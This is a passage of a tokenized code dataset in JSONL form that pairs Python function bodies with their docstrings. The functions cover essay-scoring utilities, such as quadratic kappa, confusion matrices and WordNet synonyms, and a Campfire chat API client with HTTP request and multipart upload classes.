argument describing the minimum rating possible on the data set\nmax_rating is an optional argument describing the maximum rating possible on the data set\nReturns a float corresponding to the kappa correlation", "id": "f7968:m13"}
{"signature": "def confusion_matrix(rater_a, rater_b, min_rating=None, max_rating=None):", "body": "assert(len(rater_a) == len(rater_b))<EOL>rater_a = [int(a) for a in rater_a]<EOL>rater_b = [int(b) for b in rater_b]<EOL>min_rating = int(min_rating)<EOL>max_rating = int(max_rating)<EOL>if min_rating is None:<EOL><INDENT>min_rating = min(rater_a)<EOL><DEDENT>if max_rating is None:<EOL><INDENT>max_rating = max(rater_a)<EOL><DEDENT>num_ratings = int(max_rating - min_rating + <NUM_LIT:1>)<EOL>conf_mat = [[<NUM_LIT:0> for i in range(num_ratings)]<EOL>for j in range(num_ratings)]<EOL>for a, b in zip(rater_a, rater_b):<EOL><INDENT>conf_mat[int(a - min_rating)][int(b - min_rating)] += <NUM_LIT:1><EOL><DEDENT>return conf_mat<EOL>", "docstring": "Generates a confusion matrix between rater_a and rater_b\nA confusion matrix shows how often 2 values agree and disagree\nSee quadratic_weighted_kappa for argument descriptions", "id": "f7968:m14"}
{"signature": "def histogram(ratings, min_rating=None, max_rating=None):", "body": "ratings = [int(r) for r in ratings]<EOL>if min_rating is None:<EOL><INDENT>min_rating = min(ratings)<EOL><DEDENT>if max_rating is None:<EOL><INDENT>max_rating = max(ratings)<EOL><DEDENT>num_ratings = int(max_rating - min_rating + <NUM_LIT:1>)<EOL>hist_ratings = [<NUM_LIT:0> for x in range(num_ratings)]<EOL>for r in ratings:<EOL><INDENT>hist_ratings[r - min_rating] += <NUM_LIT:1><EOL><DEDENT>return hist_ratings<EOL>", "docstring": "Generates a frequency count of each rating on the scale\nratings is a list of scores\nReturns a list of frequencies", "id": "f7968:m15"}
{"signature": "def get_wordnet_syns(word):", "body": "synonyms = []<EOL>regex = r\"<STR_LIT:_>\"<EOL>pat = re.compile(regex)<EOL>synset = nltk.wordnet.wordnet.synsets(word)<EOL>for ss in synset:<EOL><INDENT>for swords in ss.lemma_names:<EOL><INDENT>synonyms.append(pat.sub(\"<STR_LIT:U+0020>\", swords.lower()))<EOL><DEDENT><DEDENT>synonyms = f7(synonyms)<EOL>return synonyms<EOL>", "docstring": "Utilize wordnet (installed with nltk) to get synonyms for words\nword is the input word\nreturns a list of unique synonyms", "id": "f7968:m16"}
{"signature": "def get_separator_words(toks1):", "body": "tab_toks1 = nltk.FreqDist(word.lower() for word in toks1)<EOL>if(os.path.isfile(ESSAY_COR_TOKENS_PATH)):<EOL><INDENT>toks2 = pickle.load(open(ESSAY_COR_TOKENS_PATH, '<STR_LIT:rb>'))<EOL><DEDENT>else:<EOL><INDENT>essay_corpus = open(ESSAY_CORPUS_PATH).read()<EOL>essay_corpus = sub_chars(essay_corpus)<EOL>toks2 = nltk.FreqDist(word.lower() for word in nltk.word_tokenize(essay_corpus))<EOL>pickle.dump(toks2, open(ESSAY_COR_TOKENS_PATH, '<STR_LIT:wb>'))<EOL><DEDENT>sep_words = []<EOL>for word in tab_toks1.keys():<EOL><INDENT>tok1_present = tab_toks1[word]<EOL>if(tok1_present > <NUM_LIT:2>):<EOL><INDENT>tok1_total = tab_toks1._N<EOL>tok2_present = toks2[word]<EOL>tok2_total = toks2._N<EOL>fish_val = pvalue(tok1_present, tok2_present, tok1_total, tok2_total).two_tail<EOL>if(fish_val < <NUM_LIT> and tok1_present / float(tok1_total) > (tok2_present / float(tok2_total)) * <NUM_LIT:2>):<EOL><INDENT>sep_words.append(word)<EOL><DEDENT><DEDENT><DEDENT>sep_words = [w for w in sep_words if not w in nltk.corpus.stopwords.words(\"<STR_LIT>\") and len(w) > <NUM_LIT:5>]<EOL>return sep_words<EOL>", "docstring": "Finds the words that separate a list of tokens from a background corpus\nBasically this generates a list of informative/interesting words in a set\ntoks1 is a list of words\nReturns a list of separator words", "id": "f7968:m17"}
{"signature": "def encode_plus(s):", "body": "regex = r\"<STR_LIT>\"<EOL>pat = re.compile(regex)<EOL>return pat.sub(\"<STR_LIT>\", s)<EOL>", "docstring": "Literally encodes the plus sign\ninput is a string\nreturns the string with plus signs encoded", "id": "f7968:m18"}
{"signature": "def getMedian(numericValues):", "body": "theValues = sorted(numericValues)<EOL>if len(theValues) % <NUM_LIT:2> == <NUM_LIT:1>:<EOL><INDENT>return theValues[(len(theValues) + <NUM_LIT:1>) / <NUM_LIT:2> - <NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>lower = theValues[len(theValues) / <NUM_LIT:2> - <NUM_LIT:1>]<EOL>upper = theValues[len(theValues) / <NUM_LIT:2>]<EOL>return (float(lower + upper)) / <NUM_LIT:2><EOL><DEDENT>", "docstring": "Gets the median of a list of values\nReturns a float/int", "id": "f7968:m19"}
{"signature": "def initialize_dictionaries(self, p_set):", "body": "success = False<EOL>if not (hasattr(p_set, '<STR_LIT>')):<EOL><INDENT>error_message = \"<STR_LIT>\"<EOL>log.exception(error_message)<EOL>raise util_functions.InputError(p_set, error_message)<EOL><DEDENT>if not (p_set._type == \"<STR_LIT:train>\"):<EOL><INDENT>error_message = \"<STR_LIT>\"<EOL>log.exception(error_message)<EOL>raise util_functions.InputError(p_set, error_message)<EOL><DEDENT>div_length=len(p_set._essay_sets)<EOL>if div_length==<NUM_LIT:0>:<EOL><INDENT>div_length=<NUM_LIT:1><EOL><DEDENT>max_feats2 = int(math.floor(<NUM_LIT:200>/div_length))<EOL>for i in range(<NUM_LIT:0>,len(p_set._essay_sets)):<EOL><INDENT>self._extractors.append(FeatureExtractor())<EOL>self._extractors[i].initialize_dictionaries(p_set._essay_sets[i], max_feats2=max_feats2)<EOL>self._initialized = True<EOL>success = True<EOL><DEDENT>return success<EOL>", "docstring": "Initialize dictionaries with the textual inputs in the PredictorSet object\np_set - PredictorSet object that has had data fed in", "id": "f7969:c0:m1"}
{"signature": "def gen_feats(self, p_set):", "body": "if self._initialized!=True:<EOL><INDENT>error_message = \"<STR_LIT>\"<EOL>log.exception(error_message)<EOL>raise util_functions.InputError(p_set, error_message)<EOL><DEDENT>textual_features = []<EOL>for i in range(<NUM_LIT:0>,len(p_set._essay_sets)):<EOL><INDENT>textual_features.append(self._extractors[i].gen_feats(p_set._essay_sets[i]))<EOL><DEDENT>textual_matrix = numpy.concatenate(textual_features, axis=<NUM_LIT:1>)<EOL>predictor_matrix = numpy.array(p_set._numeric_features)<EOL>print(textual_matrix.shape)<EOL>print(predictor_matrix.shape)<EOL>overall_matrix = numpy.concatenate((textual_matrix, predictor_matrix), axis=<NUM_LIT:1>)<EOL>return overall_matrix.copy()<EOL>", "docstring": "Generates features based on an iput p_set\np_set - PredictorSet", "id": "f7969:c0:m2"}
{"signature": "def __init__(self, essaytype = \"<STR_LIT:train>\"):", "body": "if(essaytype != \"<STR_LIT:train>\" and essaytype != \"<STR_LIT:test>\"):<EOL><INDENT>essaytype = \"<STR_LIT:train>\"<EOL><DEDENT>self._type = essaytype<EOL>self._target=[]<EOL>self._textual_features=[]<EOL>self._numeric_features=[]<EOL>self._essay_sets=[]<EOL>", "docstring": "Initialize variables and check essay set type", "id": "f7970:c0:m0"}
{"signature": "def is_requirement(line):", "body": "<EOL>line = line.strip()<EOL>return not (<EOL>line == '<STR_LIT>' or<EOL>line.startswith('<STR_LIT>') or<EOL>line.startswith('<STR_LIT:#>') or<EOL>line.startswith('<STR_LIT>') or<EOL>line.startswith('<STR_LIT>')<EOL>)<EOL>", "docstring": "Return True if the requirement line is a package requirement;\nthat is, it is not blank, a comment, or editable.", "id": "f7971:m0"}
{"signature": "def load_requirements(*requirements_paths):", "body": "requirements = set()<EOL>for path in requirements_paths:<EOL><INDENT>requirements.update(<EOL>line.strip() for line in open(path).readlines()<EOL>if is_requirement(line)<EOL>)<EOL><DEDENT>return list(requirements)<EOL>", "docstring": "Load all requirements from the specified requirements files.\nReturns a list of requirement strings.", "id": "f7971:m1"}
{"signature": "def __init__(self, room, files, data={}, progress_callback=None, finished_callback=None, error_callback=None):", "body": "Thread.__init__(self)<EOL>self._connection_settings = room.get_campfire().get_connection().get_settings()<EOL>self._room = room<EOL>self._files = files<EOL>self._data = data<EOL>self._progress_callback = progress_callback<EOL>self._finished_callback = finished_callback<EOL>self._error_callback = error_callback<EOL>self._abort = False<EOL>self._uploading = False<EOL>", "docstring": "Initialize.\n\n        Args:\n            room (:class:`Room`): Room where we are uploading\n            files (dict): A dictionary, where key is the field name, and value is the file path\n\n        Kwargs:\n            data (dict): Additional data to post\n            progress_callback (func): Callback to call as file is uploaded (parameters: current, total)\n            finished_callback (func): Callback to call when upload is finished\n            error_callback (func): Callback to call when an error occurred (parameters: exception)", "id": "f7975:c0:m0"}
{"signature": "def is_uploading(self):", "body": "return self._uploading<EOL>", "docstring": "Tell if upload is in progress.\n\n        Returns:\n            bool. Success", "id": "f7975:c0:m1"}
{"signature": "def stop(self):", "body": "self._abort = True<EOL>return self<EOL>", "docstring": "Stop uploading.\n\n        It is recommended that you call join() after stopping this thread.\n\n        Returns:\n            :class:`Stream`. Current instance to allow chaining", "id": "f7975:c0:m2"}
{"signature": "def run(self):", "body": "queue = Queue()<EOL>process = UploadProcess(self._connection_settings, self._room, queue, self._files)<EOL>if self._data:<EOL><INDENT>process.add_data(self._data)<EOL><DEDENT>process.start()<EOL>if not process.is_alive():<EOL><INDENT>return<EOL><DEDENT>self._uploading = True<EOL>done = False<EOL>while not self._abort and not done:<EOL><INDENT>if not process.is_alive():<EOL><INDENT>self._abort = True<EOL>break<EOL><DEDENT>messages = None<EOL>try:<EOL><INDENT>data = queue.get()<EOL>if not data:<EOL><INDENT>done = True<EOL>if self._finished_callback:<EOL><INDENT>self._finished_callback()<EOL><DEDENT><DEDENT>elif isinstance(data, tuple):<EOL><INDENT>sent, total = data<EOL>if self._progress_callback:<EOL><INDENT>self._progress_callback(sent, total)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self._abort = True<EOL>if self._error_callback:<EOL><INDENT>self._error_callback(data, self._room)<EOL><DEDENT><DEDENT><DEDENT>except Empty:<EOL><INDENT>time.sleep(<NUM_LIT:0.5>)<EOL><DEDENT><DEDENT>self._uploading = False<EOL>if self._abort and not process.is_alive() and self._error_callback:<EOL><INDENT>self._error_callback(Exception(\"<STR_LIT>\"), self._room)<EOL><DEDENT>queue.close()<EOL>if process.is_alive():<EOL><INDENT>queue.close()<EOL>process.terminate()<EOL><DEDENT>process.join()<EOL>", "docstring": "Called by the thread, it runs the process.\n\n        NEVER call this method directly. Instead call start() to start the thread.\n\n        Before finishing the thread using this thread, call join()", "id": "f7975:c0:m3"}
{"signature": "def __init__(self, settings, room, queue, files):", "body": "Process.__init__(self)<EOL>self._room = room<EOL>self._queue = queue<EOL>self._files = files<EOL>self._data = {}<EOL>self._connection = Connection.create_from_settings(settings)<EOL>self._reactor = None<EOL>self._producer = None<EOL>self._receiver = None<EOL>", "docstring": "Initialize.\n\n        Args:\n            settings (dict): Settings used to create a :class:`Connection` instance\n            room (int): Room\n            queue (:class:`multiprocessing.Queue`): Queue to share data between processes\n            files (dict): Dictionary, where key is the field name, and value is the path", "id": "f7975:c1:m0"}
{"signature": "def add_data(self, data):", "body": "if not self._data:<EOL><INDENT>self._data = {}<EOL><DEDENT>self._data.update(data)<EOL>", "docstring": "Add POST data.\n\n        Args:\n            data (dict): key => value dictionary", "id": "f7975:c1:m1"}
{"signature": "def run(self):", "body": "producer_deferred = defer.Deferred()<EOL>producer_deferred.addCallback(self._request_finished)<EOL>producer_deferred.addErrback(self._request_error)<EOL>receiver_deferred = defer.Deferred()<EOL>receiver_deferred.addCallback(self._response_finished)<EOL>receiver_deferred.addErrback(self._response_error)<EOL>self._producer = producer.MultiPartProducer(<EOL>self._files,<EOL>self._data,<EOL>callback = self._request_progress,<EOL>deferred = producer_deferred<EOL>)<EOL>self._receiver = receiver.StringReceiver(receiver_deferred)<EOL>headers = {<EOL>'<STR_LIT:Content-Type>': \"<STR_LIT>\" % self._producer.boundary<EOL>}<EOL>self._reactor, request = self._connection.build_twisted_request(<EOL>\"<STR_LIT:POST>\",<EOL>\"<STR_LIT>\" % self._room.id,<EOL>extra_headers = headers,<EOL>body_producer = self._producer<EOL>)<EOL>request.addCallback(self._response)<EOL>request.addErrback(self._shutdown)<EOL>self._reactor.run()<EOL>", "docstring": "Called by the process, it runs it.\n\n        NEVER call this method directly. Instead call start() to start the separate process.\n        If you don't want to use a second process, then call fetch() directly on this istance.\n\n        To stop, call terminate()", "id": "f7975:c1:m2"}
{"signature": "def __init__(self, data={}):", "body": "self.set_data(data)<EOL>", "docstring": "Initialize.\n\n        Kwargs:\n            data (dict): Data", "id": "f7976:c0:m0"}
{"signature": "def __getattr__(self, name):", "body": "if name in self._data:<EOL><INDENT>return self._data[name]<EOL><DEDENT>raise AttributeError(\"<STR_LIT>\" % name)<EOL>", "docstring": "If given attribute is not a class attribute, it will look\n        for it in the entity data.\n\n        Args:\n            name (str): Property name to look for\n\n        Returns:\n            Value\n\n        Raises:\n            AttributeError", "id": "f7976:c0:m1"}
{"signature": "def get_data(self):", "body": "return self._data<EOL>", "docstring": "Get entity data\n\n        Returns:\n            dict. Data", "id": "f7976:c0:m2"}
{"signature": "def set_data(self, data={}):", "body": "self._data = data<EOL>", "docstring": "Set entity data\n\n        Args:\n            data (dict): Entity data", "id": "f7976:c0:m3"}
{"signature": "def __init__(self, campfire, data=None):", "body": "super(CampfireEntity, self).__init__(data)<EOL>self._campfire = campfire<EOL>self._connection = None<EOL>if self._campfire:<EOL><INDENT>self._connection = self._campfire.get_connection()<EOL><DEDENT>", "docstring": "Initialize.\n\n        Args:\n            campfire (:class:`Campfire`): Campfire Instance\n\n        Kwargs:\n            data (dict): Entity data", "id": "f7976:c1:m0"}
{"signature": "def get_campfire(self):", "body": "return self._campfire<EOL>", "docstring": "Get campfire instance.\n\n        Returns:\n            :class:`Campfire`. Campfire instance", "id": "f7976:c1:m1"}
{"signature": "def get_connection(self):", "body": "return self._connection<EOL>", "docstring": "Get campfire connection.\n\n        Returns:\n            :class:`Connection`. Connection", "id": "f7976:c1:m2"}
{"signature": "def set_connection(self, connection):", "body": "self._connection = connection<EOL>", "docstring": "Set campfire connection.\n\n        Args:\n            connection (:class:`Connection`): Connection", "id": "f7976:c1:m3"}
{"signature": "def set_data(self, data={}, datetime_fields=[]):", "body": "if datetime_fields:<EOL><INDENT>for field in datetime_fields:<EOL><INDENT>if field in data:<EOL><INDENT>data[field] = self._parse_datetime(data[field])<EOL><DEDENT><DEDENT><DEDENT>super(CampfireEntity, self).set_data(data)<EOL>", "docstring": "Set entity data\n\n        Args:\n            data (dict): Entity data\n            datetime_fields (array): Fields that should be parsed as datetimes", "id": "f7976:c1:m4"}
{"signature": "def _parse_datetime(self, value):", "body": "offset = <NUM_LIT:0><EOL>pattern = r\"<STR_LIT>\"<EOL>matches = re.search(pattern, value)<EOL>if matches:<EOL><INDENT>value = re.sub(pattern, '<STR_LIT>', value)<EOL>offset = datetime.timedelta(hours=int(matches.group(<NUM_LIT:1>))/<NUM_LIT:100>)<EOL><DEDENT>return datetime.datetime.strptime(value, \"<STR_LIT>\") - offset<EOL>", "docstring": "Parses a datetime string from \"YYYY/MM/DD HH:MM:SS +HHMM\" format\n\n        Args:\n            value (str): String\n\n        Returns:\n            datetime. Datetime", "id": "f7976:c1:m5"}
{"signature": "def set_method(self, method):", "body": "self._method = method<EOL>", "docstring": "Set HTTP method.\n\n        Args:\n            method (str): Method (GET/POST/PUT/DELETE/etc.)", "id": "f7977:c2:m1"}
{"signature": "def get_method(self):", "body": "return self._method or urllib2.Request.get_method(self)<EOL>", "docstring": "Get HTTP method.\n\n        Returns:\n            str. The method (GET/POST/PUT/DELETE/etc.)", "id": "f7977:c2:m2"}
{"signature": "def __init__(self, url=None, base_url=None, user=None, password=None, authorizations={}, debug=False):", "body": "self._settings = {<EOL>\"<STR_LIT:url>\": url,<EOL>\"<STR_LIT>\": base_url,<EOL>\"<STR_LIT:user>\": user,<EOL>\"<STR_LIT:password>\": password,<EOL>\"<STR_LIT>\": authorizations or {},<EOL>\"<STR_LIT>\": debug<EOL>}<EOL>", "docstring": "Initialize.\n\n        Kwargs:\n            url (str): Destination URL\n            base_url (str): If url is not provided, base_url is the base URL (e.g: mysite.campfirenow.com)\n            user (str): The user for basic auth\n            password (str): The password for basic auth\n            authorizations (dict): Authorization header to send, indexed by URL\n            debug (bool): wether to set debug ON or OFF", "id": "f7977:c4:m0"}
{"signature": "@staticmethod<EOL><INDENT>def create_from_settings(settings):<DEDENT>", "body": "return Connection(<EOL>settings[\"<STR_LIT:url>\"], <EOL>settings[\"<STR_LIT>\"],<EOL>settings[\"<STR_LIT:user>\"],<EOL>settings[\"<STR_LIT:password>\"],<EOL>authorizations = settings[\"<STR_LIT>\"],<EOL>debug = settings[\"<STR_LIT>\"]<EOL>)<EOL>", "docstring": "Create a connection with given settings.\n\n        Args:\n            settings (dict): A dictionary of settings\n\n        Returns:\n            :class:`Connection`. The connection", "id": "f7977:c4:m1"}
{"signature": "def get_settings(self):", "body": "return self._settings<EOL>", "docstring": "Get settings.\n\n        Returns:\n            dict. Settings", "id": "f7977:c4:m2"}
{"signature": "def get_setting(self, name):", "body": "return self._settings[name]<EOL>", "docstring": "Get a setting value.\n\n        Args:\n            name (str): Setting name\n\n        Returns:\n            Value", "id": "f7977:c4:m3"}
{"signature": "def set_setting(self, name, value):", "body": "self._settings[\"<STR_LIT:name>\"] = value<EOL>", "docstring": "Set a setting value.\n\n        Args:\n            name (str): Setting name\n            value: Setting value", "id": "f7977:c4:m4"}
{"signature": "def set_debug(self, debug):", "body": "self._settings[\"<STR_LIT>\"] = debug<EOL>", "docstring": "Enable/disable debug\n\n        Args:\n            bool. Debug", "id": "f7977:c4:m5"}
{"signature": "def delete(self, url=None, post_data={}, parse_data=False, key=None, parameters=None):", "body": "return self._fetch(\"<STR_LIT>\", url, post_data=post_data, parse_data=parse_data, key=key, parameters=parameters, full_return=True)<EOL>", "docstring": "Issue a PUT request.\n\n        Kwargs:\n            url (str): Destination URL\n            post_data (dict): Dictionary of parameter and values\n            parse_data (bool): If true, parse response data\n            key (string): If parse_data==True, look for this key when parsing data\n            parameters (dict): Additional GET parameters to append to the URL\n\n        Returns:\n            dict. Response (a dict with keys: success, data, info, body)\n\n        Raises:\n            AuthenticationError, ConnectionError, urllib2.HTTPError, ValueError, Exception", "id": "f7977:c4:m6"}
{"signature": "def put(self, url=None, post_data={}, parse_data=False, key=None, parameters=None):", "body": "return self._fetch(\"<STR_LIT>\", url, post_data=post_data, parse_data=parse_data, key=key, parameters=parameters, full_return=True)<EOL>", "docstring": "Issue a PUT request.\n\n        Kwargs:\n            url (str): Destination URL\n            post_data (dict): Dictionary of parameter and values\n            parse_data (bool): If true, parse response data\n            key (string): If parse_data==True, look for this key when parsing data\n            parameters (dict): Additional GET parameters to append to the URL\n\n        Returns:\n            dict. Response (a dict with keys: success, data, info, body)\n\n        Raises:\n            AuthenticationError, ConnectionError, urllib2.HTTPError, ValueError, Exception", "id": "f7977:c4:m7"}
{"signature": "def post(self, url=None, post_data={}, parse_data=False, key=None, parameters=None, listener=None):", "body": "return self._fetch(\"<STR_LIT:POST>\", url, post_data=post_data, parse_data=parse_data, key=key, parameters=parameters, listener=listener, full_return=True)<EOL>", "docstring": "Issue a POST request.\n\n        Kwargs:\n            url (str): Destination URL\n            post_data (dict): Dictionary of parameter and values\n            parse_data (bool): If true, parse response data\n            key (string): If parse_data==True, look for this key when parsing data\n            parameters (dict): Additional GET parameters to append to the URL\n            listener (func): callback called when uploading a file\n\n        Returns:\n            dict. Response (a dict with keys: success, data, info, body)\n\n        Raises:\n            AuthenticationError, ConnectionError, urllib2.HTTPError, ValueError, Exception", "id": "f7977:c4:m8"}
{"signature": "def get(self, url=None, parse_data=True, key=None, parameters=None):", "body": "return self._fetch(\"<STR_LIT:GET>\", url, post_data=None, parse_data=parse_data, key=key, parameters=parameters)<EOL>", "docstring": "Issue a GET request.\n\n        Kwargs:\n            url (str): Destination URL\n            parse_data (bool): If true, parse response data\n            key (string): If parse_data==True, look for this key when parsing data\n            parameters (dict): Additional GET parameters to append to the URL\n\n        Returns:\n            dict. Response (a dict with keys: success, data, info, body)\n\n        Raises:\n            AuthenticationError, ConnectionError, urllib2.HTTPError, ValueError, Exception", "id": "f7977:c4:m9"}
{"signature": "def get_headers(self):", "body": "headers = {<EOL>\"<STR_LIT>\": \"<STR_LIT>\"<EOL>}<EOL>password_url = self._get_password_url()<EOL>if password_url and password_url in self._settings[\"<STR_LIT>\"]:<EOL><INDENT>headers[\"<STR_LIT>\"] = self._settings[\"<STR_LIT>\"][password_url]<EOL><DEDENT>return headers<EOL>", "docstring": "Get headers.\n\n        Returns:\n            tuple: Headers", "id": "f7977:c4:m10"}
{"signature": "def _get_password_url(self):", "body": "password_url = None<EOL>if self._settings[\"<STR_LIT:user>\"] or self._settings[\"<STR_LIT>\"]:<EOL><INDENT>if self._settings[\"<STR_LIT:url>\"]:<EOL><INDENT>password_url = self._settings[\"<STR_LIT:url>\"]<EOL><DEDENT>elif self._settings[\"<STR_LIT>\"]:<EOL><INDENT>password_url = self._settings[\"<STR_LIT>\"]<EOL><DEDENT><DEDENT>return password_url<EOL>", "docstring": "Get URL used for authentication\n\n        Returns:\n            string: URL", "id": "f7977:c4:m11"}
{"signature": "def parse(self, text, key=None):", "body": "try:<EOL><INDENT>data = json.loads(text)<EOL><DEDENT>except ValueError as e:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % (e, text))<EOL><DEDENT>if data and key:<EOL><INDENT>if key not in data:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % (key, data))<EOL><DEDENT>data = data[key]<EOL><DEDENT>return data<EOL>", "docstring": "Parses a response.\n\n        Args:\n            text (str): Text to parse\n\n        Kwargs:\n            key (str): Key to look for, if any\n\n        Returns:\n            Parsed value\n\n        Raises:\n            ValueError", "id": "f7977:c4:m12"}
{"signature": "def get_twisted_reactor(self):", "body": "return reactor<EOL>", "docstring": "Get twisted's reactor\n\n        Returns:\n            reactor. Reactor", "id": "f7977:c4:m13"}
{"signature": "def build_twisted_request(self, method, url, extra_headers={}, body_producer=None, full_url=False):", "body": "uri = url if full_url else self._url(url)<EOL>raw_headers = self.get_headers()<EOL>if extra_headers:<EOL><INDENT>raw_headers.update(extra_headers)<EOL><DEDENT>headers = http_headers.Headers()<EOL>for header in raw_headers:<EOL><INDENT>headers.addRawHeader(header, raw_headers[header])<EOL><DEDENT>agent = client.Agent(reactor)<EOL>request = agent.request(method, uri, headers, body_producer)<EOL>return (reactor, request)<EOL>", "docstring": "Build a request for twisted\n\n        Args:\n            method (str): Request method (GET/POST/PUT/DELETE/etc.) If not specified, it will be POST if post_data is not None\n            url (str): Destination URL (full, or relative)\n\n        Kwargs:\n            extra_headers (dict): Headers (override default connection headers, if any)\n            body_producer (:class:`twisted.web.iweb.IBodyProducer`): Object producing request body\n            full_url (bool): If False, URL is relative\n\n        Returns:\n            tuple. Tuple with two elements: reactor, and request", "id": "f7977:c4:m14"}
{"signature": "def _fetch(self, method, url=None, post_data=None, parse_data=True, key=None, parameters=None, listener=None, full_return=False):", "body": "headers = self.get_headers()<EOL>headers[\"<STR_LIT:Content-Type>\"] = \"<STR_LIT:application/json>\"<EOL>handlers = []<EOL>debuglevel = int(self._settings[\"<STR_LIT>\"])<EOL>handlers.append(urllib2.HTTPHandler(debuglevel=debuglevel))<EOL>if hasattr(httplib, \"<STR_LIT>\"):<EOL><INDENT>handlers.append(urllib2.HTTPSHandler(debuglevel=debuglevel))<EOL><DEDENT>handlers.append(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))<EOL>password_url = self._get_password_url()<EOL>if password_url and \"<STR_LIT>\" not in headers:<EOL><INDENT>pwd_manager = urllib2.HTTPPasswordMgrWithDefaultRealm()<EOL>pwd_manager.add_password(None, password_url, self._settings[\"<STR_LIT:user>\"], self._settings[\"<STR_LIT:password>\"])<EOL>handlers.append(HTTPBasicAuthHandler(pwd_manager))<EOL><DEDENT>opener = urllib2.build_opener(*handlers)<EOL>if post_data is not None:<EOL><INDENT>post_data = json.dumps(post_data)<EOL><DEDENT>uri = self._url(url, parameters)<EOL>request = RESTRequest(uri, method=method, headers=headers)<EOL>if post_data is not None:<EOL><INDENT>request.add_data(post_data)<EOL><DEDENT>response = None<EOL>try:<EOL><INDENT>response = opener.open(request)<EOL>body = response.read()<EOL>if password_url and password_url not in self._settings[\"<STR_LIT>\"] and request.has_header(\"<STR_LIT>\"):<EOL><INDENT>self._settings[\"<STR_LIT>\"][password_url] = request.get_header(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>except urllib2.HTTPError as e:<EOL><INDENT>if e.code == <NUM_LIT>:<EOL><INDENT>raise AuthenticationError(\"<STR_LIT>\" % uri)<EOL><DEDENT>elif e.code == <NUM_LIT>:<EOL><INDENT>raise ConnectionError(\"<STR_LIT>\" % uri)<EOL><DEDENT>else:<EOL><INDENT>raise<EOL><DEDENT><DEDENT>except urllib2.URLError as e:<EOL><INDENT>raise ConnectionError(\"<STR_LIT>\" % (uri, e))<EOL><DEDENT>finally:<EOL><INDENT>if response:<EOL><INDENT>response.close()<EOL><DEDENT>opener.close()<EOL><DEDENT>data = None<EOL>if parse_data:<EOL><INDENT>if not key:<EOL><INDENT>key = string.split(url, \"<STR_LIT:/>\")[<NUM_LIT:0>]<EOL><DEDENT>data = self.parse(body, key)<EOL><DEDENT>if full_return:<EOL><INDENT>info = response.info() if response else None<EOL>status = int(string.split(info[\"<STR_LIT:status>\"])[<NUM_LIT:0>]) if (info and \"<STR_LIT:status>\" in info) else None<EOL>return {<EOL>\"<STR_LIT:success>\": (status >= <NUM_LIT:200> and status < <NUM_LIT>), <EOL>\"<STR_LIT:data>\": data, <EOL>\"<STR_LIT:info>\": info, <EOL>\"<STR_LIT:body>\": body<EOL>}<EOL><DEDENT>return data<EOL>", "docstring": "Issue a request.\n\n        Args:\n            method (str): Request method (GET/POST/PUT/DELETE/etc.) If not specified, it will be POST if post_data is not None\n\n        Kwargs:\n            url (str): Destination URL\n            post_data (str): A string of what to POST\n            parse_data (bool): If true, parse response data\n            key (string): If parse_data==True, look for this key when parsing data\n            parameters (dict): Additional GET parameters to append to the URL\n            listener (func): callback called when uploading a file\n            full_return (bool): If set to True, get a full response (with success, data, info, body)\n\n        Returns:\n            dict. Response. If full_return==True, a dict with keys: success, data, info, body, otherwise the parsed data\n\n        Raises:\n            AuthenticationError, ConnectionError, urllib2.HTTPError, ValueError", "id": "f7977:c4:m15"}
{"signature": "def _url(self, url=None, parameters=None):", "body": "uri = url or self._settings[\"<STR_LIT:url>\"]<EOL>if url and self._settings[\"<STR_LIT>\"]:<EOL><INDENT>uri = \"<STR_LIT>\" % (self._settings[\"<STR_LIT>\"], url)<EOL><DEDENT>uri += \"<STR_LIT>\"<EOL>if parameters:<EOL><INDENT>uri += \"<STR_LIT>\" % urllib.urlencode(parameters)<EOL><DEDENT>return uri<EOL>", "docstring": "Build destination URL.\n\n        Kwargs:\n            url (str): Destination URL\n            parameters (dict): Additional GET parameters to append to the URL\n\n        Returns:\n            str. URL", "id": "f7977:c4:m16"}
{"signature": "def __init__(self, files={}, data={}, callback=None, deferred=None):", "body": "self._files = files<EOL>self._file_lengths = {}<EOL>self._data = data<EOL>self._callback = callback<EOL>self._deferred = deferred<EOL>self.boundary = self._boundary()<EOL>self.length = self._length()<EOL>", "docstring": "Initialize.\n\n        Kwargs:\n            files (dict): A dictionary, where key is the field name, and value is the file path\n            data (dict): Additional data to post\n            callback (func): Callback to inform progress (receives sent, and total)\n            deferred: Deferred to call when done, or when error occurs", "id": "f7978:c0:m0"}
{"signature": "def startProducing(self, consumer):", "body": "self._consumer = consumer<EOL>self._current_deferred = defer.Deferred()<EOL>self._sent = <NUM_LIT:0><EOL>self._paused = False<EOL>if not hasattr(self, \"<STR_LIT>\"):<EOL><INDENT>self._build_chunk_headers()<EOL><DEDENT>if self._data:<EOL><INDENT>block = \"<STR_LIT>\"<EOL>for field in self._data:<EOL><INDENT>block += self._chunk_headers[field]<EOL>block += self._data[field]<EOL>block += \"<STR_LIT:\\r\\n>\"<EOL><DEDENT>self._send_to_consumer(block)<EOL><DEDENT>if self._files:<EOL><INDENT>self._files_iterator = self._files.iterkeys()<EOL>self._files_sent = <NUM_LIT:0><EOL>self._files_length = len(self._files)<EOL>self._current_file_path = None<EOL>self._current_file_handle = None<EOL>self._current_file_length = None<EOL>self._current_file_sent = <NUM_LIT:0><EOL>result = self._produce()<EOL>if result:<EOL><INDENT>return result<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return defer.succeed(None)<EOL><DEDENT>return self._current_deferred<EOL>", "docstring": "Start producing.\n\n        Args:\n            consumer: Consumer", "id": "f7978:c0:m1"}
{"signature": "def resumeProducing(self):", "body": "self._paused = False<EOL>result = self._produce()<EOL>if result:<EOL><INDENT>return result<EOL><DEDENT>", "docstring": "Resume producing", "id": "f7978:c0:m2"}
{"signature": "def pauseProducing(self):", "body": "self._paused = True<EOL>", "docstring": "Pause producing", "id": "f7978:c0:m3"}
{"signature": "def stopProducing(self):", "body": "self._finish(True)<EOL>if self._deferred and self._sent < self.length:<EOL><INDENT>self._deferred.errback(Exception(\"<STR_LIT>\" % (self._sent, self.length)))<EOL><DEDENT>", "docstring": "Stop producing", "id": "f7978:c0:m4"}
